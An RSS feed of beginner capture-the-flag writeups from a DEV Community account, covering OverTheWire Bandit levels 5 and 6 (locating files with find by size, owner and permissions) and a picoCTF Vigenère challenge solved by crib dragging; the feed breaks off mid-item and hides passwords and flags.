<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: CTFDojo</title>
    <description>The latest articles on DEV Community by CTFDojo (@ctfdojo).</description>
    <link>https://dev.to/ctfdojo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4112730%2F246c6406-1631-43bd-9fb4-c0231faf7de6.png</url>
      <title>DEV Community: CTFDojo</title>
      <link>https://dev.to/ctfdojo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ctfdojo"/>
    <language>en</language>
    <item>
      <title>OverTheWire Bandit Level 6 Writeup — Search the Whole Filesystem by Owner and Size</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Fri, 16 Oct 2026 19:48:33 +0000</pubDate>
      <link>https://dev.to/ctfdojo/overthewire-bandit-level-6-writeup-search-the-whole-filesystem-by-owner-and-size-ml0</link>
      <guid>https://dev.to/ctfdojo/overthewire-bandit-level-6-writeup-search-the-whole-filesystem-by-owner-and-size-ml0</guid>
      <description>&lt;p&gt;&lt;em&gt;The password file lives somewhere on the whole filesystem, not in the home directory — &lt;code&gt;find /&lt;/code&gt; filtered by owning user, owning group, and exact size locates it, with stderr suppressed to hide permission-denied noise.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; OverTheWire Bandit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Fundamentals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level:&lt;/strong&gt; 6 → 7&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; filesystem-wide find with -user/-group/-size&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;Unlike every previous level, this one doesn't point at a specific directory at all — the password file could be anywhere on the server. The level description instead gives three properties to search the entire filesystem for.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Level Goal: The password for the next level is stored somewhere on the server and has all of the following properties: owned by user bandit7, owned by group bandit6, 33 bytes in size."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 1 — Search from the filesystem root
&lt;/h2&gt;

&lt;p&gt;Start the search at &lt;code&gt;/&lt;/code&gt; instead of the home directory, since the file could be anywhere:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-user&lt;/span&gt; bandit7 &lt;span class="nt"&gt;-group&lt;/span&gt; bandit6 &lt;span class="nt"&gt;-size&lt;/span&gt; 33c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;find: '/etc/ssl/private': Permission denied
find: '/var/lib/...': Permission denied
...
/var/lib/dpkg/info/bandit7.password
...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — Suppress the permission errors
&lt;/h2&gt;

&lt;p&gt;Most of the filesystem isn't readable by bandit6, so &lt;code&gt;find&lt;/code&gt; prints a permission-denied line for every directory it can't enter. Redirect stderr to discard them and leave only the real result (and any other stdout matches) visible:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find / &lt;span class="nt"&gt;-user&lt;/span&gt; bandit7 &lt;span class="nt"&gt;-group&lt;/span&gt; bandit6 &lt;span class="nt"&gt;-size&lt;/span&gt; 33c 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/var/lib/dpkg/info/bandit7.password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Read it
&lt;/h2&gt;

&lt;p&gt;The matched path is readable despite living outside bandit6's home directory — dpkg (the Debian package manager) stores small per-package metadata files like this one, and this particular file's ownership happens to satisfy the puzzle's conditions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /var/lib/dpkg/info/bandit7.password
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit7]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 password intentionally hidden&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;A search scoped to the entire filesystem is noisy by default — most of it you don't have permission to even look inside. &lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; is the standard way to keep a command's real output while throwing away the error spam, and it's worth reaching for any time you deliberately search somewhere you only have partial access.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find /&lt;/code&gt; searches starting from the filesystem root, not just the current directory&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-user&lt;/code&gt; and &lt;code&gt;-group&lt;/code&gt; filter by file ownership, independent of each other&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt; redirects stderr (file descriptor 2) to discard it, leaving stdout untouched&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/overthewire-bandit-level6-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>beginners</category>
    </item>
    <item>
      <title>PicoCTF Vigenere Writeup — Recover a Vigenère Key with Crib Dragging</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Thu, 15 Oct 2026 20:08:58 +0000</pubDate>
      <link>https://dev.to/ctfdojo/picoctf-vigenere-writeup-recover-a-vigenere-key-with-crib-dragging-961</link>
      <guid>https://dev.to/ctfdojo/picoctf-vigenere-writeup-recover-a-vigenere-key-with-crib-dragging-961</guid>
      <description>&lt;p&gt;&lt;em&gt;The Vigenère cipher shifts each letter of the plaintext according to a corresponding letter from a key that repeats cyclically. Since we know the plaintext starts with &lt;code&gt;picoCTF{&lt;/code&gt;, we can "subtract" this known text from the ciphertext to directly recover the first letters of the key, then deduce the rest by repetition.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; picoGym&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Crypto&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Points:&lt;/strong&gt; 200 pts&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Intermediate&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; python3crib dragging&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;The challenge provides a text file containing an encrypted message, along with a prompt that explicitly mentions the &lt;strong&gt;Vigenère cipher&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"This flag was made with a repeating key XOR... wait, no. This is Vigenère. Can you recover the key and the flag?"&lt;/em&gt;&lt;br&gt;
&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat ciphertext.txt
wgcpbtqz{***************}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nothing more. No key provided, no additional hint — just the ciphertext. But we already know something very valuable: &lt;strong&gt;every picoCTF flag starts with &lt;code&gt;picoCTF{&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 — Quick refresher on the Vigenère cipher
&lt;/h2&gt;

&lt;p&gt;The Vigenère cipher is a generalization of the Caesar cipher: instead of applying a fixed shift to every letter, a different shift is applied at each position, determined by a &lt;strong&gt;key repeated cyclically&lt;/strong&gt; across the whole length of the message.&lt;/p&gt;

&lt;p&gt;For each plaintext letter at position &lt;code&gt;i&lt;/code&gt;, mapping A=0, B=1, ... Z=25:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cipher[i] = (plain[i] + key[i mod len(key)]) mod 26
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For example, if the key is &lt;code&gt;KEY&lt;/code&gt; and the plaintext starts with &lt;code&gt;ATTACK&lt;/code&gt;, the first letter &lt;code&gt;A&lt;/code&gt; (0) is shifted by &lt;code&gt;K&lt;/code&gt; (10), giving &lt;code&gt;K&lt;/code&gt;; the second letter &lt;code&gt;T&lt;/code&gt; (19) is shifted by &lt;code&gt;E&lt;/code&gt; (4), giving &lt;code&gt;X&lt;/code&gt;; and so on, with the key repeating: &lt;code&gt;K-E-Y-K-E-Y&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Unlike the Caesar cipher, there aren't just 26 possible shifts to brute-force — with Vigenère, the number of possible keys explodes as the key length grows, so naive brute force is no longer enough. A different approach is needed.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 — Crib dragging on the known prefix
&lt;/h2&gt;

&lt;p&gt;This is where &lt;strong&gt;crib dragging&lt;/strong&gt; comes in: since we know (or can guess with very high confidence) part of the plaintext — here the standard prefix &lt;code&gt;picoCTF{&lt;/code&gt; — we can invert the encryption equation to directly compute the corresponding key letters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key[i] = (cipher[i] - plain[i]) mod 26
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We apply this formula to the first 8 letters of the ciphertext, comparing them against the 8 letters of &lt;code&gt;picoCTF{&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# cipher : w  g  c  p  b  t  q  z
# plain  : p  i  c  o  C  T  F  {

# Note: { is not a letter, it can't be shifted with A-Z.
# In practice, picoCTF Vigenère challenges only encrypt
# A-Z letters and leave other characters (digits, {, }, _) unchanged.
# So we only work on "picoCTF" (7 letters).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ascii_lowercase&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;alpha&lt;/span&gt;

&lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wgcpbtqz&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;known_plain&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;picoCTF&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;   &lt;span class="c1"&gt;# known prefix, ignoring case for the computation
&lt;/span&gt;
&lt;span class="n"&gt;key_fragment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;known_plain&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()):&lt;/span&gt;
    &lt;span class="n"&gt;shift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alpha&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;alpha&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
    &lt;span class="n"&gt;key_fragment&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;alpha&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_fragment&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# -&amp;gt; prints the first letters of the key, e.g. "helloh"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This little script directly reveals the start of the key, letter by letter, without having to guess anything — it's pure algebra on alphabetic positions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 — Finding the key's period
&lt;/h2&gt;

&lt;p&gt;Once we've recovered the first letters of the key using the known prefix, we still need to determine whether they already form a complete repeating pattern, or whether the key is longer than what we've been able to deduce so far.&lt;/p&gt;

&lt;p&gt;Looking at the output of the previous script, we often notice that after a small number of characters (5 to 8 letters typically on this challenge), the pattern starts repeating — or, if the resulting string looks like a readable English word (like &lt;code&gt;hello&lt;/code&gt;), that's a very good sign the full key has been found.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;key_fragment = "hellohello..."
# the "hello" pattern (5 letters) repeats -&amp;gt; the key is "hello"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To confirm, we can also decrypt the entire message with this key candidate and check that the result produces readable text throughout its full length, not just on the prefix.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 — Decrypting the full message
&lt;/h2&gt;

&lt;p&gt;Once the complete key is identified, we apply the decryption formula to the whole message:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;plain[i] = (cipher[i] - key[i mod len(key)]) mod 26
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ascii_lowercase&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;alpha&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;vigenere_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;isalpha&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
            &lt;span class="n"&gt;base&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;alpha&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;islower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;alpha&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;shift&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;alpha&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)].&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
            &lt;span class="n"&gt;idx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;
            &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;base&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;idx&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="n"&gt;ki&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# digits, braces, underscore: left unchanged, don't consume a key letter
&lt;/span&gt;            &lt;span class="n"&gt;plaintext&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;plaintext&lt;/span&gt;

&lt;span class="n"&gt;ciphertext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;wgcpbtqz{***************}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;  &lt;span class="c1"&gt;# flag body masked here
&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;hello&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;vigenere_decrypt&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="c1"&gt;# -&amp;gt; picoCTF{***************} (digits/underscores/braces
#    pass through Vigenère unchanged, so the masked body
#    stays identical before and after decryption)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The script walks through the message character by character, applies the inverse shift only to letters, and leaves non-alphabetic characters (digits, &lt;code&gt;{&lt;/code&gt;, &lt;code&gt;}&lt;/code&gt;, &lt;code&gt;_&lt;/code&gt;) unchanged without consuming a key letter — exactly as the original picoCTF encryption does.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;🚩 picoCTF{ flag intentionally hidden }&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The flag is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;This challenge illustrates a fundamental structural weakness of repeating-key ciphers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Just like with repeating-key XOR, knowing even a small fragment of the plaintext (here the standard picoCTF flag prefix) is enough to completely break a repeating-key cipher&lt;/li&gt;
&lt;li&gt;Crib dragging turns a cryptanalysis problem into simple modular algebra as soon as a fragment of plaintext is known or guessable&lt;/li&gt;
&lt;li&gt;This is precisely why modern ciphers absolutely avoid key reuse on texts whose beginning is predictable&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://ctfdojo.com/writeups/picoctf-vigenere-writeup.html" rel="noopener noreferrer"&gt;CTFdojo&lt;/a&gt; — join the &lt;a href="https://discord.gg/cvypGBQCBg" rel="noopener noreferrer"&gt;CTFdojo Discord&lt;/a&gt; to discuss writeups and get notified about new ones.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>cryptography</category>
    </item>
    <item>
      <title>OverTheWire Bandit Level 5 Writeup — Find a File by Size, Type, and Permissions</title>
      <dc:creator>CTFDojo</dc:creator>
      <pubDate>Wed, 14 Oct 2026 20:14:43 +0000</pubDate>
      <link>https://dev.to/ctfdojo/overthewire-bandit-level-5-writeup-find-a-file-by-size-type-and-permissions-297o</link>
      <guid>https://dev.to/ctfdojo/overthewire-bandit-level-5-writeup-find-a-file-by-size-type-and-permissions-297o</guid>
      <description>&lt;p&gt;&lt;em&gt;The password file inside &lt;code&gt;inhere&lt;/code&gt; is the only one that is human-readable, exactly 1033 bytes, and not executable — &lt;code&gt;find&lt;/code&gt; filters for all three at once.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Platform:&lt;/strong&gt; OverTheWire Bandit&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Category:&lt;/strong&gt; Linux Fundamentals&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Level:&lt;/strong&gt; 5 → 6&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Difficulty:&lt;/strong&gt; Beginner&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Technique:&lt;/strong&gt; find with combined size/type/permission filters&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Challenge description
&lt;/h2&gt;

&lt;p&gt;Level 5's home directory contains a directory called &lt;code&gt;inhere&lt;/code&gt;, which itself contains many subdirectories, each full of decoy files. Manually opening every one isn't realistic — the level gives three exact properties the real file satisfies.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"Level Goal: The password for the next level is stored in the file data.txt, which is located in one of the many, many directories that live at /home/bandit5/inhere. The file is: human-readable, 1033 bytes in size, not executable."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 1 — See the scale of the problem
&lt;/h2&gt;

&lt;p&gt;Log in as bandit5 and look at what's inside &lt;code&gt;inhere&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;inhere
find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f | &lt;span class="nb"&gt;wc&lt;/span&gt; &lt;span class="nt"&gt;-l&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;(a large number — dozens of nested directories, each holding several decoy files)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 2 — Filter by size
&lt;/h2&gt;

&lt;p&gt;The level gave an exact byte count — use it directly rather than opening files one by one:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-size&lt;/span&gt; 1033c
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./maybehere07/.file2
(and possibly a few other candidates)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 3 — Add the type and permission filters
&lt;/h2&gt;

&lt;p&gt;Combine all three stated properties — regular file, that exact size, and not executable — into a single &lt;code&gt;find&lt;/code&gt; command to narrow to exactly one result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-size&lt;/span&gt; 1033c &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-executable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./maybehere07/.file2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 4 — Read it
&lt;/h2&gt;

&lt;p&gt;Cat the single remaining candidate:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ./maybehere07/.file2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[PASSWORD FOR bandit6]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;🔑 password intentionally hidden&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The password is deliberately hidden — follow the method, you've earned it. 💪&lt;/p&gt;

&lt;h2&gt;
  
  
  Key takeaways
&lt;/h2&gt;

&lt;p&gt;When a task description gives you specific, checkable properties instead of a name or location, that's a hint to filter for them directly rather than browse manually. &lt;code&gt;find&lt;/code&gt;'s flags compose — stacking &lt;code&gt;-size&lt;/code&gt;, &lt;code&gt;-type&lt;/code&gt;, and a permission test narrows a huge haystack down to one file in a single command.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;find . -size 1033c&lt;/code&gt; matches files of an exact size, in bytes (the trailing &lt;code&gt;c&lt;/code&gt; means bytes)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;! -executable&lt;/code&gt; negates a test — here, "not executable"&lt;/li&gt;
